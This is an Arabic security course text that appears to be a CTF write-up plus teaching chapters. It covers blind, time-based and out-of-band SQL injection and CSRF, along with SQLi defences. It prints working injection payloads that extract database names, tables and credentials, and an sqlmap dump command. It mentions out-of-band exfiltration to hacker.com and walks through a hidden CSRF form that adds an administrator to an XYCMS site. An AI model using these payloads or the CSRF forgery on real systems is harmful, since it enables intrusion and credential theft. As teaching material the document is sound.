Blind  ثغرة واستغلال اختراق كیفیة سأعرض المفھوم لترسیخ• SQLi یدوي بشكل 
manual اداة باستخدام اختراقھا لكیفیة بعدھا اتطرق سوف وایضا  SQLMAP. أنصح 

 مكانالا قدر والمحاولة الجاھزة الأدوات استخدام من المستطاع قدر بالتقلیل الأعزاء القراء
 ھنالك اأیض .التعلم مرحلة في خصوصا الأساسیة المفاھیم لترسیخ وذلك الیدویة الطرق
 وفھم حتةب یدویة طرق باستخدام وعلیك الجاھزة الادوات بھا تسعفك لا التي الحالات بعض
.المصاحب والھجوم للثغرة عمیق

التحدي على الاستطلاع بعملیة نبدأ•

Ahmed	Hashem	El	Fiky

CTF	CodeRedمن  		SeeNoevilتحدي  –	injection	SQL	Based	Booleanثغرةشرح 



...)تكملھ( SQLIأنواع ثغرة 
openفي حالة  		80,3306,2233	portsنلاحظ وجود •
نحاول الان الاستطلاع لتحدید نسخة كل من المداخل المتاحة على ھذا التحدي•
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...)تكملھ( SQLIأنواع ثغرة 

MYSQL 3306و 	2233	port	SSH	and	80	port	HTTPنلاحظ وجود •
loginونلاحظ وجود صفحة دخول  	HTTPدائما نبدأ ببروتوكول•
 لكننا نستنتج من. نلحظ رسالة ال الخطأ 	admin/adminاذا حاولنا ادخال اسم وكلمة سر •

ھذه الرسالة أن ھنالك اسم مستخدم اسمھ
•admin.	  واذا حاولنا اسم مستخدم اخرtest	 نلحظ وجود رسالة خطا مختلفة
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 استجابة ونلاحظ true/false  وخطأ صح بجمل SQL  جملة حقن او ادخال سنحاول•
 تظھر لا البیانات قاعدة محتویات أن حیث Blind  مصطلح جاء وھنا .لھا الویب تطبیق
union(  في كما مباشر یشكل select) في التأثیر ملاحظة یجب لكن .الویب صفحة على 

behavior  یسمى ما او للصفحة الاستجابة اختلاف or response جملة ارسلنا حالة في      
True جملة او False

:true بجملة حقن على مثال• ‘ or 1=1;#
:false بجملة حقن على مثال• ‘ or 1=2;#
 Select	username	from	users	where	username=’’	or	1=1;#’.	  لقد قمنا

based	Booleanخطأ لذلك سمیت -بارسال اوامر صح
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commentكتعلیق 		SQLتستخدم في لغة ال #  حیث أن علامة •
	your	enter	please: نلاحظ وجود رسالة 	usernameفي الجمل الصحیحة في •

correct	password
	and	username	Wrong: نلاحظ وجود رسالة 	usernameفي الجمل الخطأ في •

password
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Blind  بثغرة متأثرة الویب صفحة ان استنتاج یمكن لذلك• SQLi استجابة اختلاف بسبب 
True/False جمل حالات في الصفحة

ASCII  رقم لنحدید الویب لتطبیق الاسئلة من طویلة سلسلة تمریر الان یمكننا• code لكل 
DB-name  اسم لتحدید المثال سبیل على .استخراجھ المراد الھدف في حرف or Table-

name داخل في معرّف Database في الكامل المحتوى استخراج حتى او tables
 True  لا وا نعم اجابتھا التي الاسئلة طرح من للفكرة عرض التالي التصویري المثال في•

or False لبرجا بحمایة الحارس یقوم حیث .المعلومات لاستخراج استغلالھا ممكن وكیف 
True –		لا او نعم ب الاسئلة على بالرد یقوم لكنھ or False
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م التي یمكن الاستفادة منھا في عملیة الھجو 		SQLویجب ان اشیر ھنا الى  ان اھم اوامر ال •
في موقع  	functionsویمكنكم الرجوع للتوثیق الخاص بھذه  SQLi	Blindالمراد في حالة 

Mysql
•Important	SQL	functions:
•Ascii(char)	  لتحدید رقم الASCII
•Substring	(String,	location,	num)	  اختیار حرف معین داخلstring
•Length(‘string’)	  تحدید طول الstring
•Concat	(string1,	string2,…..)	  دمج اكثر منstring
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لى والتي ستسخدم عند طرح الاسئلة ع. وفي الجدول ادناه نجد الكود الخاص لكل حرف•

Appالویب 
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:	DBلنبدأ اولى خطوات استخراج المعلومات من •
name	databaseتحدید طول اسم •
•‘	or		length(database())=3	— – False
•‘	or		length(database())=4	— – False
•‘	or		length(database())=5	— – TURE
	errorصح ام خطأ من خلال ال  		SQLوكما أسلفنا بامكاننا تحدید اذا ما كانت جملة ال •

message	 حیث في حالة . كما ھو موضّح في الصورة ادناهTrue	 تكون رسالة الخطأ
error	message:	Please	enter	your	correct	password		  وھكذا نستنتج أن طول

5ھو 	DBاسم 
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والتي كما  وبناءا على الطریقة السابقة بامكاننا الان البدء باستكشاف اسم قاعدة البیانات•
!احرف  5عرفنا ان طول الاسم ھو 

في الجدول السابق بطریقة  	ASCIIونبدأ بفحص الحرف الاول ومقارنتھ بكود •
bruteforce.	 ھذا بامكاننا وب. ثم نكرر العملیة للحرف الثاني ثم الثالث ثم الرابع ثم الخامس

.تحدید اسم قاعدة البیانات
الحرف الاول•

 ‘or	ascii(substring(database(),1,1))=97	— – #determine	1st	char	of	DB	
name	– False

‘	or	ascii(substring(database(),1,1))=98	— – #determine	1st	char	of	DB	
name	– True
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bوكما نلاحظ أن او حرف في اسم قاعدة البیانات ھو •
substringفي  2نكرر نفس العملیة للحرف الثاني الى الخامس وذلك بتغییر موقع الحرف •

‘	or	ascii(substring(database(),2,1))=97	— – #determine	2nd	char	of	DB	name	–
False

‘	or	ascii(substring(database(),2,1))=98	— – #determine	2nd	char	of	DB	name	–
False

‘	or	ascii(substring(database(),2,1))=99	— – #determine	2nd	char	of	DB	name	–
False

‘	or	ascii(substring(database(),2,1))=100	— – #determine	2nd	char	of	DB	name	–
False

‘	or	ascii(substring(database(),2,1))=101	— – #determine	2nd	char	of	DB	name	–
False
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lاذا الحرف الثاني ھو •
blind: وبتكرار العملیة نستنتج أن اسم قاعدة البیانات ھو•
وممكن  		bruteforceباستخدام  			tableبنفس ھذه المنھجیة ایضا بامكاننا تحدید اسم •

بیل على س. الاسم لتقلیل الوقت المستغرق في العملیة 		guessایضا ان نحاول ان نتوقع 
ولتجربة ذلك  	users	or	userاسمھ  		tableالمثال غالبا ما یكون في كل قاعدة بیانات 

:لفحص ذلك كما یلي 		payloadsبامكاننا ارسال 
 ‘or	(select	1	from	testttt	limit	1)=1	— – False
‘	or	(select	1	from	user	limit	1)=1	— – False
‘or	(select	1	from	users	limit	1)=1	— – True	
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usersھو  		tableوھنا نستنتج أن اسم •
table	usersاذا اردنا ان نعرف عدد الاسطر في •

‘	or	(select	count(*)	from	users)	>	10	— – False
‘	or	(select	count(*)	from	users)	>	1	— – true
‘	or	(select	count(*)	from	users)	>	2	— – true
‘	or	(select	count(*)	from	users)	>	3	— – False

كلمات سر  3اسماء مستخدم و  3اذا یوجد في الجدول . 3اذا نستنتج ان عدد الاسطر ھو •
على ما یبدو
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usersفي جدول  	columnsوبنفس الطریقة بامكاننا معرفة عدد •

‘	or			(SELECT	count(*)	FROM	information_schema.columns	WHERE	
table_name	=	“users”)=3	— –

columnsبالمثل ایضا بامكاننا ان نتوقع اسم •
‘	or	substring(concat(	1,	(select	username	from	users	limit	1)),1,1)=1	— –
‘	or	substring(concat(	1,	(select	password	from	users	limit	1)),1,1)=1	— –

طویلة جدا خصوصا في حالة كان حجم  		Blindنلاحظ ان عملیة استخراج المعلومات في طریقة •
لذلك . كثیرا اذا اردنا ایضا استخراج البیانات من الجداول سیتطلب ذلك وقتا. قاعدة البیانات كبیر

	usersعلى سبیل المثال لاستخراج محتوى  		script	customizedیمكن اتمتة العملیة باستخدام 
table

-84%9D%7A%8D%82%9D%85%9Dorg/%ty.1isecurwww.https://
-AA%8D%7A%8D%1B%8DBA%%8DAB%%8D%-AD%8D%1B%8D%4B%8D%
-seenoevil-A8%9DAF%%8DAD%%8DAA%%8D%-injection-sql-based-boolean

/ctf-codered-86%9D%85%9D%
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یح لاستخراج معلومات قاعدة البیانات لكنني فضلت توض 	sqlmapیمكن ایضا استخدام اداة •
:كما یلي 	stringیجب الاحاطة بخیار  		sqlmapاذا اردنا استخدام . العملیة بشكل یدوي
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sqlmap	-u	http://192.168.8.102/index.php	--
data="username=admin&password=test&submit=Login"	-p	username	--

dbms	mysql	--dump	--
string="please"	--batch

وعند التجربة نجد أن . للدخول للجھاز 		SSHلدینا الان مجموعة حسابات ممكن تجربتھا عبر , حسنا
access	shellیمكن لھ الدخول وأخذ  		rcodeالاسم 

ssh	–p2233	rcode@192.168.8.102
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كما ھو مبین ادناه 		sudoعن طریق  		rootبمكاننا الان الحصول على •
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Blind ثغرة من الثانى النوع شرح• SQLI ھو الا Time Based SQLI

 لاستعلام صابالم الویب  تطبیق یستجیب أن قبل محددة لفترة الانتظار  على  النوع ھذا یعتمد•
 التطبیق ھیستغرق الذي الوقت على الھجوم نجاح یعتمد .زمني تأخیر بقیمة  المصمم  المھاجم
Time-based حقن من للتحقق .الرد لتسلیم SQLI، الأمر ھذا نستخدم:
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 استخدمنا .البیانات قاعدة إصدار رقم لاستخراج المتابعة یمكننا ، الأمنیة الثغرة تأكید بعد•
:ثانیتین بعد الرد یفرض أمرًا

 كلمة  ".10"  بـ یبدأ الإصدار أن یعني فھذا ، ثانیتین غضون في الاستجابة جاءت إذا•
“like“بحرف حرف مقارنة لإجراء الاستعلام في تستخدم.
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Out-Of-Bandوھو الا SQLI انواع من اخر نوع یوجد• SQLI )OOB(
 عن النظر بغض الاستجابة نفس التطبیق یعرضحیث ،SQL  حقن من النوع ھذا  استخدامب•

 ختلفةم نقل قناة استخدام یتم ، المخرجات لاسترداد .البیانات قاعدة وخطأ المستخدم إدخال
HTTPمثل requests أو  DNS resolution؛		في التحكم إلى یحتاج المھاجم أن  ملحوظة 

.DNS أو HTTP خادم
	،MYSQLبیانات  قاعدة حول المعلومات استخراج•  ھذه استخدام للمھاجم یمكن	

:البیانات قاعدة إصدار:الاستعلامات
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:البیانات قاعدة اسم•
version  أوامر بإخراج أعلاه الأمران  یقوم• database  أو () DNS  استعلام  في ()

resolution للمجال hacker.com

DNS  معلومات إلى البیانات قاعدة واسم إصدار إضافة تمت كیف  التالیة  الصورة توضح•
.جلالس ملفات من المعلومات قراءة الخادم في یتحكم الذي للمھاجم یمكن .الضار للمجال
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اضرار الثغرة

 یثح ھجمات إنھّا .بالبرمجیات الخاصّة للشفرة السیئة  البرمجة SQL  حقن ھجمات تستغل•
 أيّ (  موقعك على الموجودة الإدخال مربعّات من واحدٍ  عبر شفرة بإرسال المھاجمون یقوم

 .تلك الالإدخ مربعّات عبر استقبالھا تنوي كنتَ  عادیة بیاناتٍ  یرسل أن عن عوضًا ،)مربعّ
 بموقعك ةالخاصّ  البیانات قاعدة على الاستعلام عملیات بتنفیذ المُدخلة الشفرة تلك تقوم

 خادومك تخریبب وتقوم بك الخاصّ  الویب تطبیق بتحطیم تقوم أو تتوقعھا، تكن لم بطریقةٍ 
 وحراسة .مؤمّنة الغیر المواقع  ضدّ  SQL  حقن ھجمات عمل جداً السھل  من  .السحابي
.الأوّل الیوم منذ بھ تقوم ما أھمّ  من یكون قد الھجمات ھذه ضدّ  موقعك
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الحمایة من الثغرة

ثغرات على المحتویة الشفرة تمییز تعلم :الأولى الخطوة•
 من تتكون مستخدمٍ  طرف من إرسالھا یتم نصّیة سلسلة شكل  دومًا SQL  ھجمات تأخذ•

 أن دریةالمص شفرتك تحاول أمرٍ  تعطیل لكیفیة تخمین عن عبارة ھو الأول القسم .قسمین
 .خادومك على یذھاتنف المھاجم یرید التي الخبیثة الشفرة ھو الثاني القسم ;بأمان بتنفیذه تقوم
:لدیك یةالمصدر الشفرة في ممكنة ثغرة لاستغلال مصممة نصّیة سلسلة على مثالاً  إلیك

 تقوم أن قالمُخترِ  المستخدم یأمل .النقطة ھي وتلك بنفسك، بكتابتھ قمتَ  كشيء ھذا یبدو•
:كالتالي تبدو SQL استعلام بعملیة بتنفیذه وتقوم السطر، ھذا بأخذ
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 إلى تطبیقك ھاب سیستجیب التي الطریقة على اعتماداً ولكن حقاً، بالكثیر یقوم ھذا أنّ  یبدو لا•
 بیاناتال قاعدة جدول اسم مثل للمُخترِق المھمّة المعلومات بعض ھذا یوفرّ أن یمكن سبق، ما

 جلبل یستخدمھا أن للمھاجم یمكن التي الھجمات من المزید ھناك ھذا، بعد .تستعملھ الذي
.المرور وكلمات المستخدمین أسماء مثل المعلومات، من المزید

 بعملیة ثغرة نع البحث تحاول الخبیثة الشفرة أنّ  ھي فھمھا علیك یجب التي الرئیسیة الفكرة•
 إدراجھا أو المعلومات لجلب استغلالھا لمحاولة تطبیقك بھا یقوم  التي SQL  استعلام
.وتعدیلھا

 یةالمصدر شفرتك كانت إذا .)'(  المغلقة الاقتباس  إشارة SQL  حقن ھجمات جمیع تتطلب لا•
 إشارة داخل اتالبیان تلك بوضع بالطبع تقوم لن فإنكّ برقم، متعلقّة استعلامٍ  عملیة تنفذّ

:الھجمات من النوع لھذا عرضةً  یتركك وھذا .اقتباس
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:للتالي مشابھة استعلام بعملیة تطبیقك یقوم أن المھاجم یأمل•

 فقط البیانات دلتعی السابقة الاستعلام بعملیة لتقوم مصممة البرمجیة شفرتك تكون ما غالباً•
 عملیة  تجعل SQLالـ حقنة ولكنّ  .الصحیح المستخدم  مع userid  الـ تطابق حال في

.البیانات بإرجاع دومًا تقوم الاستعلام
 القاعدة ھو كلھّ ھذا من أھمّیة الأكثر  الشيء SQL  حقنة لأيّ  معینّ سلوكٍ  في لیست النقطة•

 استعلام، عملیة من معینّ جزء حذف كیفیة لتخمین  محاولة SQL  حقن لجمیع العامّة
 ھي  وھذه SQL  حقن ھجمات جمیع توقیع ھو ھذا .تتوقعھ تكن لم إلیھا آخر جزءٍ  وإضافة
.محاربتھا طریقة
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مدخلاتك على اعثر :الثانیة الخطوة•
 عبر لیس البرمجیة شفرتك في  الممكنة SQL  حقن إدخال نقط جمیع لتعقبّ طریقة أفضل•

 ةالممكن الثغرات من العدید على العثور یمكنك  بالطبع .HTML  إدخال حقول إلى النظر
 لمث البیانات، بإدخال یقوم أن للمستخدم خلالھا من یمكن أخرى طرقٌ  ھناك ولكن ھناك،
.بك الخاصّة AJAX واجھات من واحدةٍ  عبر أو	،URL الویب عنوان

 جملة ;فسھبن اختراقھ المخترقون یرید الذي الشيء ھو الثغرات عن فیھ للبحث مكان أفضل•
 طریق عن الاستعلام عملیات جمیع بتنفیذ تقوم فإنكّ الأغلب، على .بنفسھا SQL  استعلام

 يف الأوامر ھذه عن ابحث فقط .قلیلاً  أكثر أو آخران أمران وربمّا نفسھ، الأساسي الأمر
 فرتكش كانت إذا كمثال، .سریع بشكلٍ  الممكنة الثغرات جمیع وستجد البرمجیة شفرتك

:ھكذا ستبدو بك الخاصّة SQL استعلام عملیات جمیع فإنّ 	،Perlبـ مكتوبة البرمجیة
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الأوامر،  في تلك الحالة، یمكنك العثور بسرعة على جمیع الثغرات الممكنة بواسطة سطر•
:عبر استخدام أمر شبیھ بالتالي

مدخلاتكنظف : الخطوة الثالثة•
ولكن خطّ دفاعك 	،SQLھناك العدید من التقنیات التي یستخدمھا الناس لمنع ھجمات حقن •

یجب . الأمامي یجب أن یكون تنظیف جمیع مُدخلات المستخدم من أيّ شفرة خبیثة مشبوھة
ي الواقع، یجب ف. ألاّ تعتقد بتاتاً أنّ المستخدم سیقوم بإدخال البیانات بالطریقة التي تریدھا

 ممكن في أنھّم سیقومون بإدخال الشفرات الخبیثة في كلّ مكانٍ  -علیك أن تفترض العكس 
.موقعك

حتوي فقط تنظیف المُدخلات یعني أنھّ یجب اختبار جمیع مُدخلات المستخدم للتأكّد من أنھّا ت•
.مُدخلات آمنة، مُدخلات لا یمكن استخدامھا بتاتاً في شنّ ھجوم
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 على ستكون بك  الخاصّ  SQL  خادوم إلى المستخدم طرف من إدخالھا سیتم التي المُدخلات•

:شكلیَن
.2097 مثل كرقم،•
.الإلكتروني البرید أو المرور كلمة المستخدم، اسم مثل	،string كسلسلة•
 ببدایة رناھاذك التي الأمثلة في .الشكلین ھذین من واحداً مُدخَلاً  دومًا البرمجیة شفرتك تتوقعّ•

.رقم عن عبارةً  الثاني المثال وكان نصّیة، سلسلة عن عبارة الأوّل المثال كان المقال، ھذا
 ھي یئةالس الطریقة .سیئة وطریقة جیدة طریقة :البیانات لتنظیف طریقتان أیضًا ھناك•

 SQL  حقن عدد لأنّ  ھو سیئة كونھا في السبب .الممكنة SQL  حقن وجود من التحقق
 اناتالبی تنظیف ھي الجیدّة الطریقة .كذلك واسع المھاجمین "إبداع"و جداً، كبیر  الممكن
 شكل مع یتوافق لا شيء كلّ  وتجاھل علیھ، الصحیح الإدخال شكل یبدو ما على للتعرّف

.الصحیح الإدخال ذلك
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 یحتوي نأ للرقم یمكن .أوّلاً  ھذا بتغطیة سنقوم لذا للتنظیف، الأسھل ھي الرقمیة البیانات•
 فاصلة على یحتوي وربمّا أخرى، بأرقام متبوعا یكون أن أو یساره، على سالبة إشارة على

 قتتحق التي الشفرة ستبدو		،Perl  في علیھ، تبدو أن الرقمیة للبیانات یمكن ما كلّ  ھذا . عشریة
:كالتالي الرقمیة البیانات من

.سبق ما تتخطى أن یمكنھا خبیثة حقنة أيّ  تخیلّ الصعب من•
 یمكن .اإدخالھ لمحاولة الطرق من العدید ھناك لأنھّ صعوبة، أكثر النصّیة المُدخلات تنظیف•

 الواقع، يف .بالھجمات للقیام "إبداعیة"  بطرق وغیرھا الاقتباس إشارات یستخدم أن للمھاجم
 ھمم شيء نسیان السھل من لأنھّ سيّء، أمرٌ  ھو المُدخلة للحروف سوداء قائمة إنشاء محاولة

.مثلاً 
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 قائمة لىإ المستخدم مُدخلات تقیید وھي الرقمیة، البیانات مع قمنا كما أفضل، طریقة ھناك•

 شيء لىع تحتوي أن یجب لا الإلكتروني البرید عناوین كمثال، .فقط الحروف من بیضاء
 كلّ  منع یجب ذلك، وعدا _  و @  مثل الإشارات وبعض العادیة والحروف الأرقام سوى

:كالتالي الشفرة ستبدو	،Perl لغة في .الأخرى الحروف

 خدمالمست اسم مثل كذلك المُدخلات من الأخرى للأنواع بیضاء قوائم على العثور یمكن•
.إلخ ..المرور وكلمة

 معینّة موزر ھناك یكون فربمّا .المستخدمین لبعض إزعاج مصدر البیضاء القوائم تكون قد•
 تقومل حرّ  بالطبع ولكنكّ مثلاً، طرفھا من مقبولة غیر تكون الإدخال مربعّات بعض في

 والمحارف وزالرم عن ببحث تقوم أن تنسى لا ولكن حاجتك، حسب البیضاء القوائم بتعدیل
 حمایة بین تختار فعندما		،SQL  حقن في استخدامھا یمكن لا أنھّ من للتأكّد تمكینھا ترید التي

.أوّلاً  تأتي الموقع حمایة المستخدم، وراحة الموقع
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 حیحص بشكل مُدركًا كنتَ  إذا .سھل لأنھّ جیدّ البیضاء القوائم بواسطة المُدخلات تنظیف•
 ھجمات من للتخلیص كافیاً الحلّ  ھذا سیكون فحینھا بتمكینھا، تقوم التي والمحارف للرموز

SQL حقن
الخطیرة المدخلات قبول :الرابعة الخطوة•
.الخطیرة المُدخلات قبول عدم أھمّیة عن فقط سنتحدثّ !بالعنوان تنخدع لا•
 تطبیقك كان إذا ما حال في الحمایة أجل من جیدّة التقیید شدیدة البیضاء القوائم أنّ  صحیحٌ •

 یكون قد الات،الح بعض في ولكن .المستخدمین على التقییدات تلك مع یتوافق أن یستطیع
 دخلاتمُ  على تقییدات أيّ  بفرض تقوم ألاّ  بالتطبیق الخاصّ  الربحي لنموذجك المھمّ  من

.المستخدمین
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 مكتباتٍ  لىع تحوي تطبیقك في تستعملھا التي البرمجة لغة تكون ما غالباً الحالة، ھذه في•
Perl  مكتبة كمثال، .الخبیثة الشفرات من المستخدمین مُدخلات تنظیف في تساعدك DBI

 بخارج SQL  استعلام مع التعامل من المستخدمین مُدخلات لمنع متعددة طرُقاً تحوي
:لھا المخصصة المنطقة

Perl  مكتبة  تقوم placeholders  نائبة كعناصر ؟ إشارة استخدام تمّ  السابق، المثال في•
DBI طرف من إدخالھا تمّ  والتي موثوقة الغیر بالمتغیرّات الإشارات ھذه  باستبدال 

ف تتعامل وتجعلھا المتغیرات ھذه  بتقیید DBI  مكتبة تقوم بھذا، القیام أثناء ولكن .المستخدم
.البیانات قاعدة بجدول لھا المخصصة الحقول مع قط
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 تجاھلل أو المستخدم، مُدخلات لتقیید إمّا الأخرى، البرمجیة باللغات مشابھة مكتبات ھناك•
.لھا المخصص الحقل خارج مع التعامل حاولت حال في البیانات

 حیث بات،المكت لتلك المطورین بالأشخاص ثقتك إعطاء على قادرٌ  أنكّ ھي التقنیة ھذه میزّة•
 .طیرةالخ والمشاكل الأمنیة الثغرات عن بعیدة علیھا والحفاظ بتطویرھا، سیقومون أنھّم

 المكتبة تخداماس تنسى ربمّا وھكذا البشریة، للقراءة قابلیة أقل أنھّا ھي التقنیة ھذه عیب ولكن
.بك الخاصّة SQL استعلام عملیات من بعض لحمایة الصحیحة

الناجحة الھجمات ضرر خفف :الخامسة الخطوة•
 أخیر طٍّ خ بإنشاء القیام تودّ  فربمّا بموقعك، بھ تقوم الذي الأعمال نموذج ماھیةّ على اعتماداً•

 منھم احدٌ و یستخدم ربمّا شيء، كلّ  فبعد .تطبیقك مطوري عن تمامًا مستقل شيء للدفاع،
 ظیفلتن الصحیحة المكتبة باستخدام فشل أو ما، مكان في الخاطئة البیضاء القوائم

.المُدخلات
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 للاختراق قابل موقع إلى بأكملھ موقعك تحویل في تسبب قد النوع ھذا من فقط واحدة ثغرة•
SQL ھجمات عبر

 وأنھّم		،SQL  حقن ضدّ  دفاعاتك باختراق نجحوا المھاجمین أنّ  تفترض أن علیك یجب أولاً،•
 على بالكامل، الآن الآلة یملكون إنھم .خادومك لإدارة الكاملة الصلاحیات على حصلوا
.وتطویرھا بصیانتھا یھتم من أنكّ من الرغم

 معزولة ةبیئ داخل مضبوطًا یكون أن نفسھ الخادوم على یجب المروع، السقوط ذلك لتجنبّ•
 إلى لالوصو أو الرؤیة على قادر غیر النظام على الجذر مستخدم یكون حیث الشبكة، عن
 رائع وھو		،DMZ  یدعى الدفاع من النوع ھذا .خادومك على موجودة أخرى أجزاء أيّ 

.للغایة
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 بالدخول نجح مھاجم مستخدم ضدّ  خادومك لتأمین تستخدمھا التي الطریقة كانت مھما•
 حال في مالنظا مدراء بإخطار یقوم تنبیھات نظام بإعداد تقوم أن علیك یجب فإنھّ بالفعل،
 وأنھّ ق،التطبی اختراق تمّ  إذا ما ستخبرك التنبیھات ھذه .الخادوم على معینّ نشاط حصول

 یكونس التنبیھات، ھذه دون .نفسھ وللخادوم البرمجیة للشفرة سریع مراجعة عمل علیك
 أن دون بك  الخاصّ  DMZالـ  اختراق محاولة في ممتع وقتٍ  قضاء على قادرًا المھاجم
 التي تمانیةالائ البطاقات جمیع یسرق أن حین إلى یفعلھ بما بتاتاً تشعر لا وربمّا تشعر،
 ومكخاد عن منفصلة أنھّا تظن كنت بیئةً  في الخادوم، عن تمامًا معزولة كانت أنھّا ظننت

.الرئیسي
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حمایة محترف وظف :السادسة الخطوة•
 بالمیاه حتسب أنت فحینھا حمایة، بخبیر الاستعانة دون ویب تطبیق بإدارة تقوم كنتَ  إذا•

 علیك یجب فإنھّ وأمان، حمایة خبیر توظیف على قادر غیر ما ولسبب كنت وإذا .الخطیرة
 ضمینت السھل من .حین إلى المستخدمین مُدخلات لتنظیف البیضاء بالقوائم الاستعانة
 حمایة بیلس في قلیلاً  المستخدمین تجریة تقیید من بأس لا .البیضاء القوائم واستخدام
 مجال يف یفھم شخص بتوظیف تقوم أن وبمجرّد .علیھ الموجودة الثمینة والبیانات خادومك
 نحق ھجمات من موقعك حمایة على أفضل بشكل قادرًا بعدھا فستكون والأمان، الحمایة
SQL و XSS موقعك تصیب قد التي الخطیرة الھجمات من وغیرھا.
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الفصل الرابع 
CSRFثغرة ال 
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المؤلف

أحمد ھاشم الفقي /م.د
المعلومات و التحول الرقمياستشارى أمن 

comoutlook.ElFiky@Hashem.Ahmed.



CSRFثغرة ال 
وكیفیة اكتشافھا و استغلالھا CSRFسنتعرف فى ھذا الفصل على ثغرة •
CSRFما ھى ثغرة •
Forgery	Request	Cross-Siteھي اختصار ل •
:وھى معروفة بعدة اسماء اخرى مثل•

XSRF
Sea	Surf

Session	Riding		
Hostile	Linking
One-Click	attack

XSSویمكن ان تصنف انھا من عائلة ثغرات •
Ahmed	Hashem	El	Fiky



...)تكملھ( CSRFثغرة ال 

 ادمن ةكإضاف مثلا فیھا مرغوب غیر وظیفة فعل على المستخدم بإجبار الثغرة ھذه تقوم•
.المستخدم علم بدون الباسورد تغییر او جدید

: الثغرة خطورة•
 بالتأكید خطیرة ثغرة ھى•
بالكامل الموقع اختراق الى تؤدى قد لأنھا•
: الثغرة متطلبات•
 حیةالض الى الرابط ارسال تتطلب لأنھا الإجتماعیة الھندسة على بأخر او بشكل تعتمد•

 او ادمن بإضافة تقوم المصاب الموقع من خاصة اكواد بھا ویب صفحة عن عبارة الرابط
 استخدمات لھا ھاأن اي الإیمیل أوتغییر والبیع الشراء عملیات في او الموقع فى وظیفة تغییر

 كبیرة وخطورتھا واسعة
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•OWASP CSRFTester
 العملیة یوفر والذي		،OWASP  أطلقتھ الذي الأوتوماتیكي شبھ CSRF  برنامج ھو ھذا•

للبرنامج شاشة لقطة یلي فیما CSRF لـ البرمجیة التعلیمات وبناء تعقیداً الأكثر
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 كلذل ، جافا بلغة مكتوب البرنامج ھذا
 تشغیل لقب جافا بیئة تثبیت إلى تحتاج

 أن cmd  نافذة تخبرنا .البرنامج
 في 8008  المنفذ على یستمع البرنامج

 العامة المقدمة ھي ھذه .الحالي الوقت
.للبرنامج
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"XYCMSنظام محطة المدرسة الابتدائیة المركزیة "ھنا اخترت •
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:a.cn  الخلفیة ندخل نحن ، حسناً• 88 / admin،		ھي الافتراضیة الحساب مرور وكلمة    

admin. المسؤول إدارة" نختار ، الخلفیة أدخل"

Ahmed	Hashem	El	Fiky



...)تكملھ( CSRFثغرة ال 
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للبدء انقر•
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.الموقع في المرور وكلمة الحساب رقم بإدخال نقوم•
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.البیانات حزمة بالتقاط البرنامج سیقوم ، البیانات إرسال فوق النقر بعد•
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)المطلوب ده ھو( لان واحد اول عدا ما Requests ال جمیع حذف یتم•
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CSRF، ثم یمكننا تنفیذ ھجوم Token	CSRFوجدنا أنھ لم یتم العثور على قیمة الرمز الممیز •
.فى اسفل الشاشة ؟ ھذه ھي الطریقة التي تختار بھا الھجوم Type	Reportھل ترى كلمة •

•Forms  ممكن (قم بإنشاء نموذج حیث ان المحتوى مخفي المستخدم غیر مرئيPOST	،	GET(
•iFrame قم بإنشاء إطارiframe	  ولن یكون المستخدم مرئیاً  0بارتفاع وعرض ،)POST	،	GET	

)ممكن
•IMG  أنشئ علامةIMG	 )GETفقط.(
•XHR إنشاء طلب)POST,	GET (AJAX
•Link  إنشاءURL بعلامة)GET	 فقط(
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 فتحھ وسیتم		،HTML  ملف بإنشاء یقوم وسوف ، الوقت ھذا في النماذج خیار أختار ، حسناً•
 وبعض ، خاص بشكل كامل غیر البرنامج وھذا ، عزیمتك تثبط فلن ، ینجح لم إذا ، تلقائیاً

 التعلیمات بتغییر وقم HTML  افتح ، نجاحھا عدم حالة في .تحسین إلى تحتاج المناطق
.المستعرض في المراجعة عنصر إلى الإشارة مع ، المصدر البرمجیة
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 تحت إنشاؤه تم الذي index.html  ضع ، التولید بعد .لإنشاء HTML  إنشاء فوق انقر•

b.cn. یلي كما الأمر سیكون ، فتحھ وبعد ، الفتح على المسؤول حث:
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.بنجاح ، نحن ننظر إلى الخلفیة•

.یمكنك أن ترى أنھ تم إضافتھ بنجاح•
جب على الخادم الخاص بنا ، ویقوم المسؤول بفتحھ حیث ی 	index.htmlیمكننا وضع ھذا •

ث المسؤل ان یكون المسؤول في الخلفیة في ذلك الوقت ، أو لم تنتھي جلسة المسؤول ثم ح
.على فتح ھذه الصفحة باى طریقة من طرق الھندسة العكسیة
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 آخرى بطریقة الھجوم على یمكننا حیث لإكمال أعلاه البرنامج إلى بحاجة لست ھنا•

)manual(
 قمت لذلك		،XYCMS  یستخدم الموقع ھذا أن وعلمت ویب موقع غزو في أرغب كنت حیث•

 من تحقق یوجد لا أنھ وجدت لقد .وتحلیلھ الإنترنت عبر XYCMS  مصدر كود بتنزیل
 بناء في شرعت لذلك ، الخلفیة في المسؤول إضافة فیھ تتم الذي المكان في الممیز الرمز
.الكود

•F12 مسؤول لإضافة الرابط إلى انظر
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.فتح ھذا الرابط ھو المكان الذي تتم فیھ إضافة المسؤول•
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•Ctrl	+	U	  انظر إلى شفرة المصدر ، وانسخ كل المحتوى الموجود في علامة النموذج
form  ثم ضعھ في ملف ،html	 المحلى كما یظھر كالاتى:
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ثم نضیف 	، 	a.cnإلى موقع الویب المستھدف  actionحسناً ، الآن دعنا نغیرھا ونغیر •
ؤول قیمة القیمة في المكان الذي یكون فیھ نوع الإدخال نصًا ، ھذه القیمة ھي حساب المس

:وكلمة المرور التي ترید إضافتھا ، بعد التغییر یظھر كالاتى
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دعنا نفتح الاختبار ونرى ما إذا كان بإمكاننا إضافة مسؤول•

"إرسال البیانات"فوق انقر •
•
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الرابط  تمت الإضافة بنجاح ، فى حالة ارسال الرابط للضحیة و بمجرد ضغط الضحیة  على•
:ھنا كما یظھر كالاتى 	JavaScriptسیتم استخدام . جدید تلقائیاً adminنقوم باضافة 

Ahmed	Hashem	El	Fiky



...)تكملھ( CSRFثغرة ال 

قط نمطًا لإخفاء نضیف ف. الخطوة التالیة ھي إخفاء النموذج. بعد الفتح ، تمت إضافتھ تلقائیاً•
:مثل ھذا. النموذج

اكتملت صفحة ویب•
 csrf	،	وحمّلھا على
 b.cn	،	وحض
.المسؤول على فتحھا 
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 .بالكامل المستخدم طلب تزویر یمكنھ المخترق أن ھو CSRF  ھجوم نجاح وراء السبب•
 ، Cookieالارتباط تعریف ملف في موجودة الطلب في المستخدم مصادقة معلومات جمیع
 معرفة وند مباشرة بالمستخدم الخاص الارتباط تعریف ملف استخدام للمتسلل یمكن لذلك

CSRF  ممیز رمز إضافة ھى		،CSRFال من الحمایة .المصادقة معلومات Token بشكل 
